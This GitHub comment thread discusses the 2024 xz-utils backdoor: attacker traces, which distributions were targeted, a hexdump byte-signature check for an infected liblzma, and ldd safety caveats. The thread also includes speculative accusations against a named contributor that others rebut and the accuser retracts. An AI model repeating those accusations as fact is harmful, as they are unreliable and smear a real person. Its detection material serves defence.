[16:16:24] <jiatan> Hello! I could not find this information on the Ubuntu docs after a bit of searching. Does Ubuntu LTS use packages from Debian Unstable or Debian Testing?
[16:18:51] <oerheks> jiatan, Unstable
[16:20:13] <jiatan> oerheks: Thanks!
$ whois redacted-ip
netname:        M247-LTD-Singapore
descr:          M247 LTD Singapore Infrastructure

As per spur.us it's from Witopia VPN

Interesting..
Seems like our boy/girl/they/them is watching this unveil since last night.

Might have some proof

@DanielRuf
Copy link

@LaRevoltage exactly, I completely agree with you.

@xry111
Copy link

xry111 commented Mar 30, 2024

This attack was possible because the release manager was a malicious user. Quite the opposite I'm not a release manager of any project despite I've contributed to a dozen or two, so I cannot inject malicious code stealthy (i.e. bypassing a code review) like this.

EDIT: I'm also pretty sure I've not made any PR with binary blobs.

Thus instead of (or in addition to) accusing me, you should really consider those release managers more seriously.

And how could I know this guy had been malicious when I contributed to xz? I do all developing on Linux From Scratch where no RPMs or DEBs are used. So the malicious code was inactive and I couldn't ever noticed it (EDIT: unless my code happens to crash on this test payload, but it didn't happen). Then did I have any valid reason not to collaborate with the reviewer? Or am I free to say "hey I don't trust this reviewer, please assign another one" in the future with no evidence?! I'd be happy to do so if I was really allowed.

I'd like a security audition on all my contribution but I'd prefer someone to pay me some real money if they turn out clean, like I've commented in the PR.

BTW for the make-ca issue, we've been deliberately piping input data into openssl x509 command thus the warning is just noisy. There is even an OpenSSL issue complaining it. Simply silencing it with -in /dev/stdin is better than creating a temporary file because a temporary file would be easier to be compromised than the pipe buffer by other processes running on the system. This should be really obvious. Note that make-ca is only supposed to run on Linux so we can assume /dev/stdin is just the stdin.

@schkwve
Copy link

schkwve commented Mar 30, 2024

Relevant technical fact is that this exploit isn't on a level with information security skills of an average developer. Not only it uses smart tactic to hide itself from the commit inspection with autoconf, but also has a sophisticated payload nature, which we still can't reverse after 16 hours past the incident.
This is simply too good to be an exploit a normal developer wrote spontaneously. It looks much more like a planned attack, which raises question about third party interference.

But what now? All we can do is identify more about the backdoor, remove it, and hopefully find traces of the backdoor being used to further track down possible backdoors in other utilities.

@Exagone313
Copy link

I find it strange that they used the name jiatan for asking this question. If they had the trouble to use a VPN, they could have even used another name that don't have any connection to the situation. Or even they could have asked it two years ago if it's really a scheme that spanned for that long.

Though, as this is a public IRC channel, it could make Ubuntu maintainers suspicious if they find threads about updating a package connected to a Debian Unstable upgrade, from another name. Or not? You can use different nicknames on different places and it's not that strange.

@mburz
Copy link

mburz commented Mar 30, 2024

Is there any IRC channel or chat room where this issue is being discussed?
I can imagine there is a lot of interest in this.

@schauveau
Copy link

It seems to me that we should be optimistic on the idea that the payload is neither installing anything on the system nor calling home. Both would significantly increases the risk of being detected. A successful ssh backdoor is too valuable to risk.

Anyways, I assume that a lot of people are actively trying to analyze the payload. Does anyone know any good links showing progress?

I had a quick look at the offending object file but, at first glance, everything looks fine. The next step is probably to compare it to a genuine object file to spot the differences (e.g. which sections have different size).

@vlad-ivanov-name
Copy link

vlad-ivanov-name commented Mar 30, 2024

Note that some Debian package mirrors still provide xz-utils 5.6.1, below it's dated March 27th

https://mirror.yandex.ru/debian/pool/main/x/xz-utils/

The pattern from detect_sh.bin can be found in liblzma5/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1 at address 001047f0

@timrobbins1
Copy link

Lasse regularly has internet breaks and is on one at the moment, started before this all kicked off. We believe CISA may be trying to get in contact with him.

I don't think it's useful to point this out, as their last commit on Github was literally Tuesday this week - plougher/squashfs-tools#276

@hardfalcon
Copy link

@vlad-ivanov-name

Note that some Debian package mirrors still provide xz-utils 5.6.1, below it's dated March 27th

https://mirror.yandex.ru/debian/pool/main/x/xz-utils/

The official main mirror of the Debian project does still provide it, too:

It's possible that they simply don't have an established process for quickly removing malicious packages from their repo, and mirrors are just syncing/mirroring whatever is on the main server.

@zmej420
Copy link

zmej420 commented Mar 30, 2024

why does the gist push updating so hard when there is so much unknown? To me it sounds like the only sure shot for the moment is to reinstall with downgraded two years old xz and stop using patched opensshd. Unless you weren't affected, which most people weren't (quick check: run ldd $(which sshd) and see if liblzma is included, for me it's not, and xz --version is below 5.6 even though i'm pretty bleeding edge)

@LaRevoltage
Copy link

Relevant technical fact is that this exploit isn't on a level with information security skills of an average developer. Not only it uses smart tactic to hide itself from the commit inspection with autoconf, but also has a sophisticated payload nature, which we still can't reverse after 16 hours past the incident.
This is simply too good to be an exploit a normal developer wrote spontaneously. It looks much more like a planned attack, which raises question about third party interference.

But what now? All we can do is identify more about the backdoor, remove it, and hopefully find traces of the backdoor being used to further track down possible backdoors in other utilities.

That is actually the least we do.
Patching the backdoor and checking traces of this maintainer will help to recover from this incident. It will not help us any further. This once again alarms us of the problem with developing and maintaining big project's on the base of free and open source principals. What we need is a new policy, that will prevent, or make such incidents less likely. For instance, I believe that system of checks and balances must be in place. You don't give person write permission to main branch even if they have been pushing commits for 2 years without conducting any research on their affiliations, that is by default a security concern, because, even though the commits are expected to be inspected, it just so happens that people tend to just ignore the part of code they don't understand, which never should be a case. If the malicious actor had tried to push this PR to most corporate open sourced tools, he would have miserably failed, because no one would have allowed it to pass without understanding the actual inner working of the code, no matter the previous PRs. I also doubt, that anyone would get write permissions to main branch of that project without prior checks. In my opinion the open sourced code under a real company is the best strategy for such critical repositories, and not a blind believe, that the volunteering contributors and maintainers from the community will be able to inspect and understand every commit and change, as well as to determine the trustworthiness of an unknown person on the web. This closely intersects with a problem and a running joke in the open source community - that the whole tech is holding on a personal project which 2 people who have been maintaining that project for years without any pay. This is what enables NSA and other 3d parties with resources to compromise entirety of the infrastructure. Because such projects with lenient policies are the weak link of the whole system

@mrkubax10
Copy link

Is there any IRC channel or chat room where this issue is being discussed?

It would be cool.

@konimex
Copy link

konimex commented Mar 30, 2024

Is there any IRC channel or chat room where this issue is being discussed? I can imagine there is a lot of interest in this.

The #tukaani channel on Libera is pretty active right now with Larhzu now active again.

Also, the incident has been acknowledged: https://tukaani.org/xz-backdoor/

@charlesgoyard
Copy link

but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit

How do these security audits work? I've never heard of security audits in OSS before.

Hi, you can search for the Veracrypt security audit as an example, or read the public report.

@sommio
Copy link

sommio commented Mar 30, 2024

@lhmouse @cwegener the country is probably a false flag. A VPN is meant to make it look like you are from a different country.

It's not the first time I had a case where a hacker used a VPN to conceal their true country. The IP address pointed to a completely different country. So that's why we should not jump to conclusions here.

Any serious security expert does not do that. Attribution is hard and not like "look, this was the IP address, so they are in this country".

It can only hide IP, real Singaporeans won't use this kind of host ASN to surf the net, it can't even watch Netflix. No one will believe he is a Singaporean.

@everything411
Copy link

We cannot even determine whether Jia Tan is an individual person or a hacker group.

Fake name and VPN ip address cannot indicate any real information about the hacker(s) behind the account.

@paulfloyd
Copy link

GNU libc isn't the only libc using ifuncs. Certainly FreeBSD libc recently added ifuncs for str* and mem* functions recently. macOS has platform variants but I don't know how they got resolved.

@Z-nonymous
Copy link

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

For the context, kernel dev for commercial UNIX experience 25 years ago, unfortunately not familiar enough with Linux kernel. Even in large companies few people have the depth of knowledge to maintaining of a very wide knowledge to cover all OS. People are all specialised on one component. Once can get easily tricked into fixing what is reported as a bug when in fact it's been a problem injected somewhere else. It's the very common case of fixing a side effect where it appears instead of where it is caused.

The Backdoor specifically targets building from the release. That targets Gentoo, LFS. xry111 is part of that LFS community. xry111 says he's not a maintainer of xz. Sure he isn't, he can somehow commit on systemd, targeted by this backdoor (when ssh on systemd).
This is suspicious removing pure from a function declaration. a Pure function are a sanity check for build time flags so that we know the function isn't supposed to change any variable or IO. Now it's gone. Compiler can make specific more complex optimizations now at build time.

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395.
Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO.
But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

ALso targeting gentoo and LFS, then all those seemingly infossenive LLVM changes cmake changes to address random bugs maybe not reproduced, just reported by someone also advising how to fix it...

I don't have much time to review all this today, there's too much. Given the sophistaction for the actual payload to be triggered, this has to be part of a larger scheme to compromise Linux.

Somehow, using this:
https://play.clickhouse.com/play?user=play#U0VMRUNUICogRlJPTSBnaXRodWJfZXZlbnRzIFdIRVJFIGFjdG9yX2xvZ2luPSd4cnkxMTEnIE9SREVSIEJZIGZpbGVfdGltZSBERVND

we can use:
SELECT DISTINCT repo_name FROM github_events WHERE actor_login='xry111' ORDER BY file_time DESC

for all users of the community and check all their repos and how much overlap.

I'm not saying anyone is guilty, people may be tricked/engineered into making changes by bad actors. Maybe just one bad actor - to be indentified - is tricking people from this group, maybe just one person is a bad actor. Maybe all is fine. but the mere fact that they are touching so many core component of Linux security is of a big concern.

Quick glance at the type of changes, they are related to "adding test" ah this is innofnesive right and removing warnings, changing things that are even not just for Loongson architecture...

There are hundreds of repos that to be audited now to examine this group's contributions. Even though maybe they are just tricked by false bugs.

@timtas
Copy link

timtas commented Mar 30, 2024

xry

What about this Open PR tukaani-project/xz#86 with several force-push from 27 days ago?

I see JiaT75 account working with another user account (xry111) on further CRC changes (crc changes that are currently exploited), and that user has also contributed to many core linux subsystems like openssl and systemd, protobuf-c. llvms, util-linux. torvalds/linux, make-ca, cpython... xry111 has submitted PRs and commits and alo reviewer of PRs in many places. 16 repo contributed to this year, 47 repos in 2023, 38 in 2024.

He seems to be participating to Loongsong Chinese architecture and Linux From Scratch, though, which might explain his wide contributions, but SSL, CRC, Make, Building, Kernel, curl, libxcrypt... , that's a lot of places where he is contributing code or reviewing code. Wouldn't that allow for very sophisticated similar exploits ?

I did not review all but I see some make-ca update to silence openssl warnings...

Well, I'm also contributing to Linux From Scratch and therefore "know" xry111 quite well from various conversations. While he really is terribly productive and frightfully competent in various areas, I can assure you that he certainly is not part of any conspiracy here, but a real person. I personally vouche for him that he takes no part whatsoever in this backdoor issue.

@Z-nonymous
Copy link

Ifunc also they touched

@sommio
Copy link

sommio commented Mar 30, 2024

from Witopia VPN

Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland China.

We don't use this kind of VPN and usually use proxy protocols designed to bypass national firewalls
in conjunction with rule-based proxy client (eg.sing-box, Surge) .

The provider delivers it in the form of providing a proxy url and key, similar to how socks5 proxy providers are delivered.

@Z-nonymous
Copy link

Well, I'm also contributing to Linux From Scratch and therefore "know" xry111 quite well from various conversations. While he really is terribly productive and frightfully competent in various areas, I can assure you that he certainly is not part of any conspiracy here, but a real person. I personally vouche for him that he takes no part whatsoever in this backdoor issue.

Thanks, I know about the LFS community for a while, I use Linux since 25+ years. I don't say there are necessarily bad actors. Are you able to understand exactly what Andres Freund disclosed in details ?
I put more details later than the post you quoted in this gist.
Can you vouch for his commit on systemd and understand the implications this entails ?

@duracell
Copy link

duracell commented Mar 30, 2024

@Z-nonymous

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

Or they just fixed real bugs.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

Having concerns over "this" and doing wild accusations are two complete different things. It's good to get a clear picture and checking every corner, but to accuse somebody without ANY proof is not helpful and will get you ignored.

The Backdoor specifically targets building from the release. That targets Gentoo, LFS.

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.

So please, don't push against people and don't write something which is clearly wrong.

@LaRevoltage
Copy link

@Z-nonymous

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

Or they just fixed real bugs.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

Having concerns over "this" and doing wild accusations are two complete different things. It's good to get a clear picture and checking every corner, but to accuse somebody without ANY proof is not helpful and will get you ignored.

Sorry? I didn't accuse any individual, all what I did, was point, that it is unlikely that such sophisticated delivery and payload are made by a developer with regular exploitation knowledge. And that was my reply to the initial commit to xz, not the systemd the OP is talking about.

@timtas
Copy link

timtas commented Mar 30, 2024

Loongson

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

For the context, kernel dev for commercial UNIX experience 25 years ago, unfortunately not familiar enough with Linux kernel. Even in large companies few people have the depth of knowledge to maintaining of a very wide knowledge to cover all OS. People are all specialised on one component. Once can get easily tricked into fixing what is reported as a bug when in fact it's been a problem injected somewhere else. It's the very common case of fixing a side effect where it appears instead of where it is caused.

The Backdoor specifically targets building from the release. That targets Gentoo, LFS. xry111 is part of that LFS community. xry111 says he's not a maintainer of xz. Sure he isn't, he can somehow commit on systemd, targeted by this backdoor (when ssh on systemd). This is suspicious removing pure from a function declaration. a Pure function are a sanity check for build time flags so that we know the function isn't supposed to change any variable or IO. Now it's gone. Compiler can make specific more complex optimizations now at build time.

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395. Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO. But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

ALso targeting gentoo and LFS, then all those seemingly infossenive LLVM changes cmake changes to address random bugs maybe not reproduced, just reported by someone also advising how to fix it...

I just looked at this systemd issue and fix, and from what I see, it was a real, reproducible hang and several (not totally random) compiler versions/architechture combinations.

xry111 does contribute quite a lot on Linux From Scratch, but hardly ever creates patches on his own, and while he certainly is repsonsible for a lot of changes, they are all quite sensible, well-reasoned and reproducible. They also never have anything to do whith this Loongson thingy. Regarding systemd, he pushed through the switch from eudev to systemd-udev, as eudev was badly maintained, and while I did not like it, I had to agree that it makes sense. He likes systemd, while I hate it, but even that, while clearly obvious, never became an issue. I'd be very, very surprised if he had anything to do with that backdoor.

@xry111
Copy link

xry111 commented Mar 30, 2024

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395. Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO. But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

What? Do you really understand what the pure attribute does?

It is an optimization attribute, not a diagnostic attribute. It means the programmer guarantees that the function does not modify the global state, not the compiler guarantees that.

Ideally it should be both an optimization attribute and a diagnostic attribute, but the diagnostic is not implemented yet: https://gcc.gnu.org/PR18487

So if you use pure attribute on a non-pure function, the compiler will not emit any diagnostics and it will silently generate broken code.

@Z-nonymous
Copy link

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.

So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

@waterkip
Copy link

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395. Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO. But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

It seems like that random person made a lot of effort to reproduce a bug and bisect it. I don't agree with you.

@duracell
Copy link

@Z-nonymous

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

Or they just fixed real bugs.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

Having concerns over "this" and doing wild accusations are two complete different things. It's good to get a clear picture and checking every corner, but to accuse somebody without ANY proof is not helpful and will get you ignored.

Sorry? I didn't accuse any individual, all what I did, was point, that it is unlikely that such sophisticated delivery and payload are made by a developer with regular exploitation knowledge. And that was my reply to the initial commit to xz, not the systemd the OP is talking about.

Sorry, it just pinged you because of the quote from Z-nonymous. I meant this person with my reply.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

What? Do you really understand what the pure attribute does?

It is an optimization attribute, not a diagnostic attribute. It means the programmer guarantees that the function does not modify the global state, not the compiler guarantees that.

Ideally it should be both an optimization attribute and a diagnostic attribute, but the diagnostic is not implemented yet: https://gcc.gnu.org/PR18487

So if you use pure attribute on a non-pure function, the compiler will not emit any diagnostics and it will silently generate broken code.

Ooooh commercial Unix here from 25 years ago, so it was different back in my days with non-GNU compiler.

@xry111
Copy link

xry111 commented Mar 30, 2024

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.
So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS.

The obfuscated script only do things when building a .deb or .rpm package. We don't do it for LFS so the script is basically latent.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

It seems like that random person made a lot of effort to reproduce a bug and bisect it. I don't agree with you.

Thanks; I didn't know pure wasn't triggering on GNU C anyway. Not sure about code checkers some repos might have as to validate code.

@timtas
Copy link

timtas commented Mar 30, 2024

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.
So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

Yes, "we" (LFS) dowload the source directly from upstream, this can be github, kernel.org or whatever. On github, it is usually the created tarballs, so LFS "was" affected, but only the very early adapters of the devel version of the book, and only the systemd folks, LFS has a sysv and a systemd variant. I was not affected, as I'm still on xz 5.4.1, and on sysv.

As for how packages are installed: LFS explicitely is no distro, but a book that describes how to create a Linux system. Therefore, the book goes for:

./configure
make
make install

or the meson/ninja equivalent.

A lot of people (including me) however integrate a package manager for installation, I use my own, I doubt anyone uses dpkg or rpm.

@znkkw
Copy link

znkkw commented Mar 30, 2024

From the perspective of Loongson Company, there is no reason for them to extensively modify the fundamental components of Linux merely to add a backdoor. Maybe we should just stop accusing specific country, company, And just focus on this person who write this; and how to stop this.

In the end of the day, this project was maintained by one single individual, a single point of failure

@duracell
Copy link

duracell commented Mar 30, 2024

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

If you use e.g., Debian, they built it on their server and then distribute the deb package.
I'm not sure which source they usually do, but the bad actor puts a warning in, that the source packages should not be used. I think to convince the maintainer to use the release tar-balls.

With:

  • the .deb and .rpm checks in the exploit code
  • the pushing to update to the current version in at least the ubuntu mailinglist
  • asking in the irc about relase mechanism

it's clearly the case that the main target are these deb/rpm based distributions.

So again, please be calm. It's okay to ask, but you throw so much stuff around, it's not helpful.

@xry111
Copy link

xry111 commented Mar 30, 2024

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.
So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

Yes, "we" (LFS) dowload the source directly from upstream, this can be github, kernel.org or whatever. On github, it is usually the created tarballs, so LFS "was" affected, but only the very early adapters of the devel version of the book, and only the systemd folks, LFS has a sysv and a systemd variant. I was not affected, as I'm still on xz 5.4.1, and on sysv.

As for how packages are installed: LFS explicitely is no distro, but a book that describes how to create a Linux system. Therefore, the book goes for:

./configure make make install

or the meson/ninja equivalent.

A lot of people (including me) however integrate a package manager for installation, I use my own, I doubt anyone uses dpkg or rpm.

And even on systemd we don't patch sshd for systemd notification. The instruction is here:

https://www.linuxfromscratch.org/blfs/view/systemd/postlfs/openssh.html

We just tell people to download the upstream release and build it, w/o patching.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo)
Sorry for beein incorrect.

@xry111
Copy link

xry111 commented Mar 30, 2024

he can somehow commit on systemd

I cannot. The PR was reviewed and merged by @yuwata.

This page even says: xry111 authored and yuwata committed on May 10, 2023.

@xry111
Copy link

xry111 commented Mar 30, 2024

It seems like that random person made a lot of effort to reproduce a bug and bisect it. I don't agree with you.

Thanks; I didn't know pure wasn't triggering on GNU C anyway. Not sure about code checkers some repos might have as to validate code.

It had not (or the issue would have been found by the checker and fixed before systemd hangs on my machine). Not sure about the status quo.

@duracell
Copy link

duracell commented Mar 30, 2024

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

No.
The code is:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
which is testing if you're building for a debian or rpm package!
So it's not "build rpm or deb or anything", it's "build rpm or deb", no anything.
Please, read the initial posting (or even the gist, it's also in there).

Again, if you don't know, ask questions, but don't assume things which are already known better.
Or, if you know things which are not yet in the original message or the gist, or which prove them wrong, post them.
Nearly all of your comments were wrong. Be more careful. Please!

@timtas
Copy link

timtas commented Mar 30, 2024

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

Well, as it stands now, only rpm and dep based distros are targeted, and neither Gentoo or LFS go in that category. As I said, I doubt very much any LFS user uses dkpg or rpm, and as xry111, we don't even use the the systemd notification patch for openssh.

I can assure you 100% percent that xry111 would have had the chance to put this patch into the book, but he didn't, 100%. Do you need more proof?

@Z-nonymous
Copy link

And even on systemd we don't patch sshd for systemd notification. The instruction is here:

https://www.linuxfromscratch.org/blfs/view/systemd/postlfs/openssh.html

We just tell people to download the upstream release and build it, w/o patching.

Yes there's multiple layers for it to work; many requirements in many places. Maybe it's targeting more specific systems than initially thought.

Still the backdoor vector is ssh (openssl), xv/crc, systemd. when you made contributions there.

I can't see PR86 anymore it seemed lgtm from not beeing familiar with the code, but since detected bad actor on xv package approved some changes to crc code while the crc seem to be used here for the attack.
One can emit the hypothesis (that can't be proven) that it could have well be to get you in and you only put in further code in there later.

@StefanCristian
Copy link

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

No, the attacker's target were deb and rpm distros, since they're mainly the ones who patched SSHD for systemd-notifications.

Read https://www.openwall.com/lists/oss-security/2024/03/29/4

The source-based distros are the main enemies here for the attackers, because they're the ones most prone to find these problems. Thanks to @xry111 's contributions in these areas the systems will be much more hardened from now on.

Your accusations are quite dubious, since we're talking about a anonymous attacker in cahoots with a very known & public contributor.
We can very well ask about your interest in keeping these unfounded accusations alive, feels like your intentions are less than noble.

@xry111
Copy link

xry111 commented Mar 30, 2024

I can't see PR86 anymore

https://paste.mozilla.org/ynf2jvsh for auditors. I've not modified a thing since it was approved.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

I cannot. The PR was reviewed and merged by @yuwata.

This page even says: xry111 authored and yuwata committed on May 10, 2023.

I know You can not merge but you can commit.
I saw @yumata merge it along with some other commits.

Maybe he can tell what he things of changing a function that's supposed to be pure to be changed to regular function.

@Ninpo
Copy link

Ninpo commented Mar 30, 2024

And even on systemd we don't patch sshd for systemd notification. The instruction is here:
https://www.linuxfromscratch.org/blfs/view/systemd/postlfs/openssh.html
We just tell people to download the upstream release and build it, w/o patching.

Yes there's multiple layers for it to work; many requirements in many places. Maybe it's targeting more specific systems than initially thought.

Still the backdoor vector is ssh (openssl), xv/crc, systemd. when you made contributions there.

I can't see PR86 anymore it seemed lgtm from not beeing familiar with the code, but since detected bad actor on xv package approved some changes to crc code while the crc seem to be used here for the attack. One can emit the hypothesis (that can't be proven) that it could have well be to get you in and you only put in further code in there later.

I'd pay good money if you'd shut up

@xry111
Copy link

xry111 commented Mar 30, 2024

I cannot. The PR was reviewed and merged by @yuwata.
This page even says: xry111 authored and yuwata committed on May 10, 2023.
I know You can not merge but you can commit.
I saw @yumata merge it along with some other commits.

Maybe he can tell what he things of changing a function that's supposed to be pure to be changed to regular function.

Because it isn't supposed to be pure (in GNU C).

The entire systemd project relies on GNU extensions so non-GNU compilers just won't work. Please don't quote specs from other compilers.

@Z-nonymous
Copy link

Ok, so I'll apologize here, for just coming with suspicions instead of actual proofs. As one said I should have asked questions for some of the details, and my attitude was not correct.

@kbahey
Copy link

kbahey commented Mar 30, 2024

Does anyone know if Ubuntu 22.04 Server is affected, or what command I could run to know if I am affected? I'm not familiar with detecting installed library versions.

Like you, I am also running 22.04 LTS.

I think it is not affected, based on the the following:

First:

$ dpkg -l | grep lzma
ii  liblzma5:amd64 5.2.5-2ubuntu1

The version of xz is 5.2.5. The exploit was first introduced in 5.6.

Second:

if hexdump -ve '1/1 "%.2x"' /lib/x86_64-linux-gnu/liblzma.so.5 | 
grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then  
  echo "Probably vulnerable"
else 
  echo "Likely not vulnerable"
fi

This shell script shows that the library does not have the exploit's malicious function signature.

One reason I stay with LTS releases only is to reduce the amount of change in a given time period.

@schkwve
Copy link

schkwve commented Mar 30, 2024

I know You can not merge but you can commit.

That's how contributing works though... You fork a repository, commit to the forked repository, and open a PR (ask the original repository maintainers to merge the two branches together).

@dguglielmi
Copy link

dguglielmi commented Mar 30, 2024

Lasse Collin have published a page https://tukaani.org/xz-backdoor/

I think he spotted something else targeting cmake builds (in future)

https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00

@duracell
Copy link

why does the gist push updating so hard when there is so much unknown? To me it sounds like the only sure shot for the moment is to reinstall with downgraded two years old xz and stop using patched opensshd. Unless you weren't affected, which most people weren't (quick check: run ldd $(which sshd) and see if liblzma is included, for me it's not, and xz --version is below 5.6 even though i'm pretty bleeding edge)

Be careful with ldd, read "Please do not use ldd on untrusted binaries" from the gist. There is a detect.sh script which should be used instead.

@xry111
Copy link

xry111 commented Mar 30, 2024

why does the gist push updating so hard when there is so much unknown? To me it sounds like the only sure shot for the moment is to reinstall with downgraded two years old xz and stop using patched opensshd. Unless you weren't affected, which most people weren't (quick check: run ldd $(which sshd) and see if liblzma is included, for me it's not, and xz --version is below 5.6 even though i'm pretty bleeding edge)

Be careful with ldd, read "Please do not use ldd on untrusted binaries" from the gist. There is a detect.sh script which should be used instead.

But the script invokes ldd too :(

# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

However I don't know in this case we may consider sshd "trusted" or not (liblzma.so is definitely untrusted).

We can use readelf -d /usr/sbin/sshd which will show libsystemd if the systemd-notify patch used. Note that running readelf -d on untrusted binaries is also dangerous (the Binutils maintainers say it's unsafe to do so w/o sandboxing), but we may consider sshd trusted here (liblzma.so is definitely untrusted)...

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

That's how contributing works though... You fork a repository, commit to the forked repository, and open a PR (ask the original repository maintainers to merge the two branches together).

Yes, I know, I only checked some PR/commits, and some of same group of persons seem to approve each other's PR, from random incoming bugs. but they might very well be legit anyway. I have seen mostly good commits and PRs anyway. But it's taking a huge time.

So for now I'm assuming I'm completely wrong, and I was paranoid. I'll try to do spend proper time to review or leave it to each maintainer to check code.

Again I apologize for the inappropriate conduct I had.

@Baadvo
Copy link

Baadvo commented Mar 30, 2024

@duracell
Copy link

But the script invokes ldd too :(

# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

What? That's odd, I looked at a detect script which didn't use ldd. Sorry, then I mixed it up with this one. :(
Thanks for the clarification!

@vlad-ivanov-name
